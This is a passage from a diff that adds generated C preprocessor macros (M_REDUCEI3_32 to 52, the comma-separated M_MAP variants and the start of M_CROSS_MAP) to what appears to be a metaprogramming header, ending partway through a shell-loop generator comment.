+#define M_REDUCEI3_32(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), f(d, 32, _32))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_33(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), f(d, 33, _33)))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_34(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), f(d, 34, _34))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_35(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), f(d, 35, _35)))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_36(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), f(d, 36, _36))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_37(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), f(d, 37, _37)))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_38(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), f(d, 38, _38))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_39(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), f(d, 39, _39)))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_40(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), f(d, 40, _40))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_41(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), f(d, 41, _41)))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_42(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), f(d, 42, _42))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_43(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), f(d, 43, _43)))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_44(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), f(d, 44, _44))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_45(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), f(d, 45, _45)))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_46(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), f(d, 46, _46))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_47(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), f(d, 47, _47)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_48(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), f(d, 48, _48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_49(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), f(d, 49, _49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_50(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), g(f(d, 49, _49), f(d, 50, _50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_51(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), g(f(d, 49, _49), g(f(d, 50, _50), f(d, 51, _51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_52(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), g(f(d, 49, _49), g(f(d, 50, _50), g(f(d, 51, _51), f(d, 52, _52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Like M_MAP but with a comma separator.
+   M_MAP_C(f, a, b, c) ==> f(a), f(b), f(c) */
+#define M_MAP_C(f, ...)       M_REDUCE(f, M_MAP_C_ID, __VA_ARGS__)
+#define M_MAP_C_ID(...)       __VA_ARGS__
+
+/* Like M_MAP2 but with a comma separator.
+   M_MAP2_C(f, d, a, b, c) ==> f(d, a), f(d, b), f(d, c) */
+#define M_MAP2_C(f, d, ...)   M_REDUCE2(f, M_MAP2_C_ID, d, __VA_ARGS__)
+#define M_MAP2_C_ID(...)      __VA_ARGS__
+
+/* Like M_MAP2_C but for API transformation only */
+#define M_MAP2B_C(f, d, ...)   M_REDUCE2B(f, M_MAP2B_C_ID, d, __VA_ARGS__)
+#define M_MAP2B_C_ID(...)      __VA_ARGS__
+
+
+/* Like M_MAP3 but with a comma separator.
+   M_MAP3_C(f, d, a, b, c) ==> f(d, 1, a), f(d, 2, b), f(d, 3, c) */
+#define M_MAP3_C(f, d, ...)   M_REDUCE3(f, M_MAP3_C_ID, d, __VA_ARGS__)
+#define M_MAP3_C_ID(...)      __VA_ARGS__
+
+
+/* Map a function f to each pair of arguments from the arglist 'a' and the arglist 'b'
+   M_CROSS_MAP(f, (a,b), (c,d) ) ==> f(a, c) f(a, d) f(b, c) f(b, d) */
+#define M_CROSS_MAP(f, alist, blist)    M_CROSSI_MAP1(f, alist, blist)
+#define M_CROSSI_MAP1(f, alist, blist)  M_C(M_CROSSI_MAP1_, M_NARGS alist)(f, blist, M_ID alist)
+/* Generated by :
+for i in $(seq 1 52) ; do
+    printf "#define M_CROSSI_MAP1_%d(...) M_CROSSI_MAP1_%db(__VA_ARGS__)\n" $i $i ;
+    printf "#define M_CROSSI_MAP1_%db(f, blist" $i ; for j in $(seq 1 $i) ; do printf ", a%d" $j ; done ; printf ") " ;
